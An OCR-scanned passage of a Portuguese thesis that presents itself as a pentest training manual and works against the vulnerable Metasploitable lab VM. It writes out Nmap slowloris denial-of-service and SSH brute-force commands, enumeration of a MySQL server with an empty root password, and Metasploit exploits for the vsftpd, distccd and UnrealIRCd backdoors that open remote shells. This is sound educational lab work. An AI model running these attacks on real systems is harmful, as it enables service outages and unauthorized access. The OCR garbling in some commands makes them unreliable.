&« C o @ 10.0.2.4
%, Kali Linux & Kali Training "% Kali Tools “% Kali Docs "% KaliForums ‘s, MetHunter [l Offe

Warning: Never expose this WM to an untrusted network!
Contact: msfdevlatlmetasploit.com

Login with msfadmin/msfadmin to get started

Para explorar esta vulnerabilidade utilizei mais um script do Nmap Scripts
Engine chamado slowloris. Para que o Nmap execute as tarefas contidas neste
script utilizei o comando “--scripit http-slowloris”; o parametro “-p 80” para informar
a porta em gque sera executado o ataque. A porta 80 ja foi identificada anteriormente
no scan de versdes de servicos FTP, contendo ativo o servico web do Apache na
verséo 2.2.8.

Este script abre e mantém varias conexées HTTP simultaneas com o
servidor até que ele figue sem recursos, levando a uma negacdo de servico. O

nimero de conexfes simultdneas deve ser definido no argumento “--max-
parallelismoption 400” onde 400 sera a quantidade conexdes simultaneas que o
Nmap abrira no servidor Metasploitable. Foi adicionado também, o parametro -Pn
para que o Nmap nédo execute ping scan. O comando para a execu¢ao deste ataque

ficou da seguinte forma:

nmap -p 80 --max-parallelismoption 400 -Pn --script http-slowloris
10.0.2.4

Apbs executado o comando, ao tentar acessar o IP do servidor (10.0.2.4)
no navegador de Internet, observei que a pagina nao esta mais disponivel, resultado

da negacao de servigo bem sucedida.
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5.2.12 Explorando vulnerabilidade no protocolo SSH com ataque

Brute Force

O protocolo SSH (Secure Shell) fornece um servico seguro de terminal
remoto, onde os dados trafegam pela rede de forma criptografada entre o servidor
e o cliente. Segundo Ylonen (2006) é um protocolo para login remoto seguro e

outros servicos de rede seguros em uma rede insegura.

Neste trabalho, foi executado um ataque de forca bruta (brute force)
explorando uma vulnerabilidade do servidor SSH que esta sendo executado na
porta 22 do Metasploitable. O ataque foi executado a partir de uma lista pré-definida
contendo possiveis logins de usuarios e senhas. O script do Nmap se chama ssh-
brute e testa todas as possibilidades combinando a lista de usuarios e a lista de
senhas que estardo salvas em arquivos do tipo .txt conforme a Figura 39. Utilizei
uma lista pequena contendo algumas opc¢des de usuarios e senhas, mas, pode-se
encontrar na Internet listas contendo uma grande quantidade de senhas comuns e

senhas padréo que podem ser utilizadas neste ataque.

Abrir v || & Hsr Abrir + || [ pa;s Salvar
admin admin
user user
usr usr
root 1234|
usuario msfadmin
msfadmin 1010
root

Figura 39 - Arquivos com as listas de usuarios e senhas para serem testados.

O script do NSE utilizado para este ataque é o “--script ssh-brute” que
executa tentativas de login no Metasploitable através da porta 22 no servico SSH.
E necessario ainda, informar o caminho dos arquivos contendo a lista de usuérios
e a lista de senhas. O parametro para este argumento € o “--script-args” passando
o valor de “userdb= /root/usr.txt” e “passdb= /root/pass.txt”’. Foi utilizado ainda o

parametro -Pn para que o Nmap nao execute ping scan.
O comando para este ataque de forca bruta ficou da seguinte forma:

nmap -p 22 -Pn --script ssh-brute --script-args userdb= /root/usr.txt,
passdb= /root/pass.txt 10.0.2.4

Pude observar, conforme mostra a Figura 40, que apds testar os logins e
senhas da lista, o Nmap identificou que o usuario “msfadmin” com a senha

“msfadmin” e o usuario “user’” com a senha “user” tiveram credenciais validas.
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root@kali: ~

Arquivo Editar Ver Pesquisar Terminal Ajuda
-brute] Trying us e 0 : root:1234
Trying g s - usuario:1234
Trying -
Trying
Trying
Trying - f g T roo admin
Trying - ir: usua msfadmin
Trying asswor ir: :msfadmin
Trying name/passwor ir: admin:1818
e] Trying e/pas i air: usr:101e
] Trying i i air: root:1018
h Trying i i air: usuario:10160
] Trying i :/passwor : :1818
h-br Trying e/passwor ir: admin:root
] Trying i ir: ot
] Trying i s i ": usuario:root
h e] Trying - /pas i air: :root
] e] Trying e/pas i air: usuario:
Nmap scan report for 10.0.2.4 (10.0.2.4)
Host is up (0.00078s latency).

PORT STATE SERVICE
22/tcp open ssh
| ssh-brute:
Accounts:

user:user - Valid credentials

msfadmin:msfadmin - Valid credentials
| Statistics e : =
MAC Address:
Nmap don

Figura 40 - Resultado do teste de forga bruta.

Dessa forma pude efetuar login no Metasploitable através do servico de
SSH executando a requisicéo através do terminal do Kali, conforme a Figura 41, com

0 seguinte comando:

ssh msfadmin@10.0.2.4 0 (senha: msfadmin)

root(@kali: ~

Arguivo Editar Ver Pesquisar Terminal Ajuda

h msfadmin@le.e.z.4

msfadmin@le.e.2.4's password: I

Figura 41 - Efetuando login no servico SSH.

Apés logado, pude assumir o comando da maquina Metasploitable e
executar qualquer operacdo (maliciosa ou nao), como exemplo ao executar o
comando “uname -a” para ver o nome do sistema operacional, obtive por resposta:

“Linux metasploitable 2.6.24”, conforme nos mostra a Figura 42.
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root@kali: ~ e ® O
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:~# ssh msfadmin@l0.0.2.4
msfadmin@l0.0.2.4's password:
Permission denied, please try again.
msfadmin@10.0.2.4's password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu. com/
No mail.

Last login: Fri Nov 1 15:05:15 2019 from 10.0.2.15
msfadmin@metasploitable:~$ uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 G|
NU/Linux
msfadmin@metasploitable:~$

Figura 42 - Acesso remoto ao terminal do Metasploitable via SSH.

5.2.13 Explorando vulnerabilidade no servico do MySql

Outra vulnerabilidade existente no Metasploitable se encontra no servico
do MySqgl na porta 3306. O MySql € um servidor de bando de dados muito utilizado
por sistemas de pequeno e médio porte. Utilizei o parametro “-p 3306” para informar
a porta que sera escaneada e para que o Nmap execute todas as tarefas do script
do NSE, inseri o parametro “--script mysql-info”. O resultado obtido com este scan
foi um conjunto de informagdes importantes, como por exemplo, a versao exata do

MySql que esta rodando no servidor. O comando ficou da seguinte forma:
nmap -p 3306 --script mysql-info 10.0.2.4

Pude observar o resultado desta consulta conforme mostra a Figura 43.

STATE SERVICE

3306/tcp open mysql

| mysgl-info:

Protocol: 18

| Version: 5.0.5la-3ubuntu5
| Thread ID: 7
|
|

Capabilities flags: 43564
Some Capabilities: Support4lAuth, ConnectWithDatabase, Speaks

sion
Status: Autocommit
Salt: 1GQC95=v[E&+F]"0kIpw
- Address: 88:00:27:72:AB:F1 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in ©.8@ seconds
Figura 43 - Resultado da consulta de informacdes do MySql.

Consultei em seguida se existe possibilidade de efetuar login sem a

necessidade de inserir a senha, substituindo somente o script NSE anterior pelo
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parametro “--script mysql-empty-password”. O comando ficou da seguinte forma:
nmap -p 3306 --script mysql-empty-password 10.0.2.4

O resultado deste scan informou que € possivel efetuar login neste banco
de dados utilizando a conta root e deixando o campo password em branco. Como
mostra a Figura 44.

ORT STATE SERVICE
3306/tcp open mysql

| mysql-empty-password:
oot account has empty password
MAC Address: 08:00:27:72:AB:F1 (Oracle VirtualBox virtual NIC)

Figura 44 - Conta root permite login com senha vazia.

Com a vulnerabilidade identificada na consulta anterior, pude efetuar
login no banco de dados. Executei um comando para consultar a lista de usuarios
gue existe no banco de dados com o comando “--script mysql-users” e inseri um
argumento contendo o usuario “root” com o comando “--script-args mysqluser=root”
gue identifiquei na consulta anterior e ndo inseri argumento para a senha, ja que foi

identificado que ndo € necessario. Assim, o comando ficou da seguinte forma:
nmap -p 3306 --script mysql-users --script-args mysqluser=root 10.0.2.4

No resultado deste scan observei que o Nmap retornou uma lista com 3
usuarios do banco de dados MySql, sendo um deles o proprio usuario “root” que

utilizei para fazer login no banco de dados, como pode ser observado na Figura 45.

STATE SERVICE

mysql-users:
debian-sys-maint
guest
root

MAC Address: 08:00:27:72:AB:F1 (Oracle VirtualBox wvirtual NIC)

Nmap done: 1 IP aﬂdresa (1 host up) scanned in 1.78 seconds
Figura 45 - Resultado da consulta de usuarios do MySq|.

No préximo passo consultei os bancos de dados que existem neste
servidor MySqgl na porta 3306 utilizando o script “mysql-databases” e novamente
passando o mesmo argumento contendo o usuério ‘root” para o usuario sem

necessidade de senha. O comando desta vez ficou da seguinte forma:

nmap -p 3306 --script mysgl-databases --script-args mysgluser=root
10.0.2.4
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Neste scan o Nmap retornou os nomes de todos os bancos de dados

contidos no MySqgl como pode ser observado na Figura 46.

information_schema
dvwa

mysql
owasple
tikiwiki
tikiwiki195s
MAC Address: @8:00:27:72:AB:F1 (Oracle VirtualBox wvirtual NIC)

|
|
| metasploit
|
|
|

Nmap done: 1 IP agdress (1 host up) scanned in 1.31 seconds

Figura 46 - Consulta das bases de dados do MySq|l.

5.3. METASPLOIT

Inicia-se agora a utlizagdo do framework Metasploit, que permite
executar diversos comandos para explorarmos as vulnerabilidades do
Metasploitable. Inicialmente € necessario fazer as configuracdes basicas do

software contidas no topico 5.3.1.

5.3.1 Inicializando o banco de dados do Metasploit

Inicialmente é necessario abrir no terminal do Kali Linux e inicializar o
servico do banco de dados PostgreSQL, para isto, utiliza-se o comando “postgresq|l
start”. Posteriormente utiliza-se o comando “postgresql status” para testar se o

servico foi inicializado, conforme a Figura 47.

:~# service postgresql start
:~# service postgresql status
® postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor
Active: active (exited) since Tue 2019-11-05 06:37:56 EST; 21s ago
Process: 1605 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 1605 (code=exited, status=0/SUCCESS)

:37:56 kali systemd[1]: Starting PostgreSQL RDBMS...
:37:56 kali systemd[1]: Started PostgreSQL RDBMS.
..skipping...
postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor
Active: active (exited) since Tue 2019-11-05 06:37:56 EST; 21s ago
Process: 1605 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 1605 (code=exited, status=0/SUCCESS)

:37:56 kall systemd[1]: Startlng PostgreSQL RDBMS.
: 3 d PostgreS

Figura 47 - Consulta do status do Postgresql
Em seguida é necessario criar o esquema do banco de dados que o
Metasploit armazenara todos os resultados de seus scans, o0 comando utilizado para

este procedimento € o “msfdb init”. Conforme a Figura 48.
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:~# msfdb init
[i] Database already started
[+] Creating database user 'msf'
Digite a senha para a nova role:
Digite-a novamente:

[+] Creating databases 'msf!

[+] Creating databases 'msf test'

[+] Creating configuration file '/usr/share/metasploit-framework/config/dat
.yml'

[+] Creating initial database schema

:~# db status

Figura 48 - Criacdo das tabelas do Postgresql para o Metasploit.

Por fim, inicializa-se o terminal do Metasploit com o comando

“msfconsole”. ApoOs este comando o terminal ja estaréd aberto conforme a Figura 49.

Arquivo Editar Ver Pesquisar Terminal Ajuda

i:~# msfconsole
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you

follow the white rabbit.

knock, knock, Neo.

https://metasploit.com

1074 auxiliary - 330 post

=[ metasploit

--=[ 1914 expléif; -
Figura 49 - Terminal do Metasploit aberto.

5.3.2 Executando comandos do Nmap no Metasploit

Dentre os diversos recursos que o Metasploit dispde, um deles é utilizar
os comandos do Nmap dentro do seu terminal iniciando o cédigo com o comando
“‘db_nmap”, dessa forma é possivel fazer qualquer consulta do Nmap, porém, com
a vantagem de que o Metasploit salva todos os resultados em seu banco de dados,

sem a necessidade de utilizar o parametro -oN para salvar em um arquivo.

Neste momento, devido alteracdo da rede local da maquina em que estéo
sendo executadas as maquinas virtuais do Kali Linux e do Metasploitable, o
endereco IP da maquina Metasploitable precisou ser modificado de 10.0.2.4 para
192.168.13.
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bY

Dando sequéncia a usabilidade do Metasploitable, como exemplo,
executei um scan de servicos utilizando o parametro -sV e de sistema operacional
utilizando o parametro -O do Nmap que ja foi utilizado anteriormente. O comando

ficou da seguinte forma:
db_nmap -sV -O -p- 192.168.1.13

Ao observar o resultado dessa consulta na Figura 50, pude identificar a
semelhanca do resultado retornado pelo Nmap, porém, no Metasploit a consulta

ficou salva no banco de dados podendo ser utilizada a qualquer instante.

Por exemplo, ao utilizar o comando “services” ele listara todos os servigos
que ja foram encontrados, com o comando “hosts” ele listara todos os hosts que ja
foram encontrados conforme a Figura 51, assim como, listara as vulnerabilidades ja

encontradas utilizando o comando “vulns”.

|Arquiv0 Editar Ver Pesquisar Terminal Ajuda

msf5 > db nmap -sV -0 -p- 192.168.1.13
Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-85 15:17 EST
Nmap: Nmap scan report for 192.168.1.13
Nmap: Host is up (0.00084s latency).
Nmap: Not shown: 65505 closed ports
Nmap: PORT STATE SERVICE VERSION
Nmap: 21/tcp open Ttp vsTtpd 2.3.4
Nmap: 22/tcp open ssh OpenSSH 4.7pl Debian 8Subuntul (protocol 2.8)
Nmap: 23/tcp open telnet Lin telnetd
Nmap: 25/tcp open smtp Postfix smtpd
Nmap: 53/tcp open domain ISC BIND 9.4.2
Nmap: 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
Nmap: 111/tcp open rpcbind 2 (RPC #100000)
Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Nmap: 445/tcp open netbios-ssn Samba smbd 3 - 4.X (workgroup: WORKGROUP)
Nmap: 512/tcp open exec netkit-rsh r d
Nmap: 513/tcp open login OpenBSD or Solaris rlogind
Nmap: 514/tcp open tcpwrapped
Nmap: 1@899/tcp open java-rmi GNU Classpath grmiregistry
Nmap: 1524/tcp open bindshell Metasploitable root shell
Nmap: 2049/tcp open nfs 2-4 (RPC #100003)
Nmap : 21/tcp open ftp ProFTPD 1.3.1
Nmap : 86/tcp open mysql MySQL 5.0.51a-3ubuntus
Nmap: 3632/tcp open distced distced vl ((GNU) 4.2.4 (Ubuntu 4.2.4-lubuntu4))
Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.8 - 8.3.7
Nmap: 5900/tcp open vnc ) rotocol 3.3)
Nmap: 6000/tcp open X11
Nmap: 6667/tcp open irc UnrealIRCd
Nmap: 6697/tcp open irc UnrealIRCd
Nmap: 8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

] Nmap: 8787/tcp open drb

server
192.168.2.8 08:00:27:72:ab:fl 192.168.2.8 Linux .6. server

Figura 51 - Consulta de hosts ja escaneados pelo Metasploit.
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Utiliza-se o comando “search” para pesquisar vulnerabilidades ja
conhecidas. O Metasploit tem uma base de dados muito ampla contendo uma
variedade de vulnerabilidades. Executando o comando “search -h” pode-se
visualizar todas as opc¢des que podem ser utilizadas para a pesquisa de
vulnerabilidades conforme a Figura 52.

e: search [=options>] [<keywords=>]

If no options or keywords are provided, cached results are displayed.

OPTIONS:
-h Show this help information
-0 <file= nd output to a file in csv format
-5 <string= ch string for row filter
-u module if there is one result

Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
da : Modules with a matching disclosure date
description : Modules with matching description
fullname : Modules with matching full name
mod time : Modules with a matching modification date
name : Modules with matching descriptive name
path - with a matching path
platform - es affecting this platform
port : Modules with matching port
Modules with a matching rank (Can be descriptive (ex: 'good') or
Modules with matching ref
Modules with a matching reference
Modules affecting this target
Modules of a specific tvpe (exploit, pavload, auxiliary, encoder,
Figura 52 - Manual de consultas do Metasploit.

5.3.3 Explorando vulnerabilidade do servico VSFTPd (Very Secure

FTP Daemon) no Metasploit

Utilizando o comando “search”, determinando o tipo como sendo exploit
e determinando a plataforma como sendo Linux o Metasploitable buscara por
gualquer vulnerabilidade do tipo exploit que seja para plataforma Linux e que tenha

como palavra-chave “vsftpd”. Sendo assim o comando ficou da seguinte forma:
search type:exploit platform:linux vsftpd

Desta maneira, o Metasploit nos retornou 1 vulnerabilidade que é do tipo
exploit para Linux no servico VSFTPd, conforme Figura 53, Esta vulnerabilidade ja
foi explorada neste trabalho utilizando o Nmap, porém agora, foi feito a intrusao

utilizando o Metasploit.
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msf5 > seach type:exploit vsftpd
Unknown command: seach.
msf5 > search type:exploit vsftpd

Matching Modules

Disclosure Date Rank Check Description

Figura 53 - Resultado da consulta por vulnerabilidades do tipo exploit no protocolo VSFTPd.

Utilizei o comando “use” e na sequéncia colei o caminho do exploit que
foi identificado na pesquisa anterior. Posteriormente informei o host alvo com o

comando “set rhosts” e o IP do alvo 192.168.2.8.

A maquina Metasploitable sofreu uma alteracéo de IP hovamente e neste
momento ela esta alocada no IP 192.168.2.8. Na sequéncia confirmei se os dados
estavam corretos com o comando “show options”, conforme Figura 54.

Terminal x

msf5 > use exploit/unix/ftp/vsftpd 234 backdoor
) > set rhost 192.168.2.8

) > show options
Module options (exploit/unix/ftp/vsftpd 234 backdoor):
Name Current Setting Required Description
The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:

Id Name

0] Automatic
Figura 54 - Resultado da consulta dos parametros do Metasploit.

Estando tudo correto, executei a invasdo com o comando “run”. O
Metasploit se conecta ao servidor e abre um terminal acessando remotamente o
Metasploitable. Ao executar o comando “uname -a” o terminal mostra “Linux
Metasploitable 2.6.24” e ao executar o comando ‘“ifconfig” retorna o IP do
Metasploitable que utilizado como alvo, conforme a Figura 55. Desta maneira o
invasor pode executar qualquer comando no terminal que o Linux aceite incluindo

desligar o servidor.
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msf5 exploit( ) > run

192.168.2.8:21 - Banner: 220 (vsFTPd 2.3.4)
] 192.168.2.8:21 - USER: 331 Please specify the password.
+] 192.168.2.8:21 - Backdoor service has been spawned, handling...
+] 192.168.2.8:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.2.7:44285 -> 192.168.2.8:6200) at 2019-11-05

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux
ifconfig
ethoe Link encap:Ethernet HWaddr 08:00:27:72:ab:fl
inet addr:192.168.2.8 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe72:abfl/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:596 errors:0 dropped:® overruns:® frame:0
TX packets:103 errors:0 dropped:0® overruns:0@ carrier:0
collisions:0 txqueuelen:1000
RX bytes:84960 (82.9 KB) TX bytes:12041 (11.7 KB)
Base address:0xd020 Memory:f1200000-f1220000

Figura 55 - Explorando a vulnerabilidade do protocolo VSFTPA.

5.3.4 Explorando vulnerabilidade no servico DISTCCd (Distributed
C/C++ Compiling Daemon)

Outra vulnerabilidade conhecida do Metasploitable estad no servico
distccd que € um compilador de codigo C e C++ utilizando computacao distribuida.
Dessa forma pode-se ganhar muito tempo dividindo a compilacdo de um cédigo

grande em diversas maquinas.

Esta vulnerabilidade permite a execugao de um terminal remoto no host

invadido, tendo completo acesso ao sistema.

Para explorar esta vulnerabilidade utilizei o comando “search distccd”
para localizar qualquer tipo de vulnerabilidade que tenha a palavra “distccd” em seu

nome. O resultado desta consulta pode ser observado na Figura 56.

Para utilizar o exploit encontrado na consulta anterior, basta copiar o
caminho do exploit, utilizar o comando “use” e na sequéncia colar o caminho do

exploit ficando da seguinte forma:

use exploit/unix/misc/distcc_exec

Disclosure Date Rank Check Description

[cBlexploit/unix/misc/distcc execploloPRAcpEIchS excellent Yes DistCC Daemon Command Execution

msfs > |J

Figura 56 - Resultado da consulta por exploits com a palavra-chave DISTCCd.
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Posteriormente inclui o host de destino com o comando “set rhosts”
passando o IP do servidor Metasploitable, que neste momento € o 192.168.1.14

conforme a Figura 57.

Devido a outra alteracdo que foi necessaria ser no ambiente onde estéo
as magquinas virtuais, o IP da maquina Metasploitable foi modificado de 192.168.2.8
para 192.168.1.14, porém, se durante a execucdo deste manual ndo houver a
necessidade de tais alteracoes, os testes podem ser executados normalmente com

o endereco IP que estiver na maquina Metasploitable.

msf5 > use exploit/unix/misc/distcc exec

msf5 exploit( BElscet rhosts 192.168.1.14

rhosts => 192.168.1.14
msf5 exploit( ) > i

Figura 57 - Inclusédo do IP do host de destino no comando.

Com todos os parametros configurados, basta executar o comando “use”
para que o Metasploit execute o procedimento que ira explorar a vulnerabilidade do
servico DISTCCd.

Apds executado o comando “run” o Metasploit estard executando
remotamente o terminal do servidor. Ao executar o comando “‘uname -a” tive por
resposta “Linux Metasploitable 2.6.24” e ao executar o comando “ifconfig” o terminal

retornou o IP do Metasploitable conforme a Figura 58.
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Arquivo Editar Ver Pesquisar Terminal Ajuda

msf5 exploit( ) > run

Started reverse TCP double handler on 192.168.1.15:4444
Accepted the first client connection...
Accepted the second client connection...
Command: echo Z50kVyFMhxge5BX1;

Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket B

B: "Z50kVyFMhxge5BX1\r\n"

Matching...

A is input...

Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.14:32939) at 2019-11-07

Link encap:Ethernet Hwaddr 08:00:27:72:ab:fl

inet addr:192.168.1.14 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe72:abf1l/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:445 errors:0 dropped:0 overruns:0 frame:0

TX packets:109 errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:39572 (38.6 KB) TX bytes:12445 (12.1 KB)

Base address:0xd020 Memory:f1200000-11220000

Figura 58 - Resultado da exploracdo da vulnerabilidade no DISTCCd.

5.3.5 Explorando a vulnerabilidade no servigco UnreallRCd

Outra falha conhecida no servidor Metasploitable esta no servico
UnreallRCd na porta 6667. Trata-se de um protocolo para utilizacdo de servicos de
chat ao vivo. Hoje ainda, existem inUmeras empresas de chat que tém suas

plataformas utilizando este servigo.

Esta é uma vulnerabilidade do tipo exploit. Trata-se de um backdoor que
nos permite executar no Metasploit um terminal remoto dentro do Metasploitable.

Podendo executar qualquer comando que o shell aceite.

Primeiro pesquisei pelo caminho deste exploit executando o comando
“search UnreallRCd”. Posteriormente executei o comando “use” e colei o caminho
encontrado na consulta anterior. Em seguida informei o IP do host de destino
utilizando o comando “set rhost” e informando o IP do Metasploitable, que no
momento neste trabalho se encontra em 192.168.1.14. Todo este procedimento se

encontra na Figura 59.
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Terminal

Arquivo Editar Ver Pesquisar Terminal

msf5 > search UnrealIRCd

Ajuda

Matching Modules

Disclosure Date Rank

0 exploit/unix/irc/unreal ircd 3281 backdoor 2010-06-12 excellent No

msf5 > use exploit/unix/irc/unreal ircd 3281 backdoor

msf5 exploit( ) > set rhosts 192.168.1. 14
rhosts => 192.168.1.14

msf5 exploit( ) > i

Figura 59 - Exploit do servigo UnreallRCd.

ApOs ter inserido todos os parametros necessarios, executei o comando
“run” para que o Metasploit execute os procedimentos desta invasdo. O Metasploit
retornou um shell remoto do servidor Metasploitable, dessa forma, todos os
comandos executados agora serdo executados dentro do Metasploitable,

permitindo efetuar qualquer acédo no servidor.

Executei o comando “uname -a” para obter informagdes do sistema
operacional e tive como resposta “Linux Metasploitable 2.6.24” e o comando
“ifconfig” para obter informacdes da placa de rede, como pode-se observar na

Figura 60.

msf5 exploit( ) > run

Started reverse TCP double handler on 192.168.1.15:4444
192.168.1.7:6667 - Connected to 192.168.1.7:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostna
192.168.1.7:6667 - Sending backdoor command...

Accepted the first client connection...

Accepted the second client connection...

Command: echo MiqLh3EyVELWPFKI;

Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket B

B: "MiqLh3EyVEWWPFKI\r\n"

Matching...

A is input...

Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.7:38012

uname -a
RN R RN WY - 16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008

Link encap:Ethernet HWwaddr 08:00:27:72:ab:fl

inet addr:192.168.1.7 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe72:abf1/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

Figura 60 - Acesso remoto ao terminal do Metasploitable.
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6. CONSIDERACOES FINAIS

Foi desenvolvido neste trabalho um manual pratico contendo os passos
necessarios para a configuracdo de um ambiente de estudo, execucao de scaners

de rede e testes de seguranca em aplicagdes web.

Todos o0s scaners executados obtiveram éxito em seus resultados, assim
como, todos os testes de penetracdo alcancaram efeitos satisfatorios explorando

todas as vulnerabilidades testadas.

Apés levantamento da bibliografia correlata e execucdo da proposta
contida neste trabalho, verificou-se que até entdo, ndo existia uma contribuicdo
cientifica conforme o legado deixado por este trabalho de conclusdo. Com isso, €
possivel observar que profissionais da area de tecnologia ou graduandos em cursos
voltados a informatica, que ndo tenham conhecimento da prética de ethical hacking
e pentest, poderdo preparar um ambiente de estudos e executar scans e testes de

penetracdo, bem como explorar vulnerabilidades em aplicacGes web.

Podemos concluir que a pratica de ethical hacking e pentest esta
acessivel a quem tenha interesse por esta linha de estudo, pois, existe uma gama
de potentes ferramentas disponibilizadas gratuitamente e geralmente com ampla
documentacéo, todavia, na bibliografia correlata ainda ndo tinhamos um material

cientifico como o exposto.

Como trabalhos futuros é possivel incrementar este manual incluindo
outras ferramentas que fazem parte do Kali Linux e que sao bastante utilizadas no
mundo comercial do pentest, como por exemplo: OWASP ZAP, w3af, Nikto,

Wireshark, entre outras.
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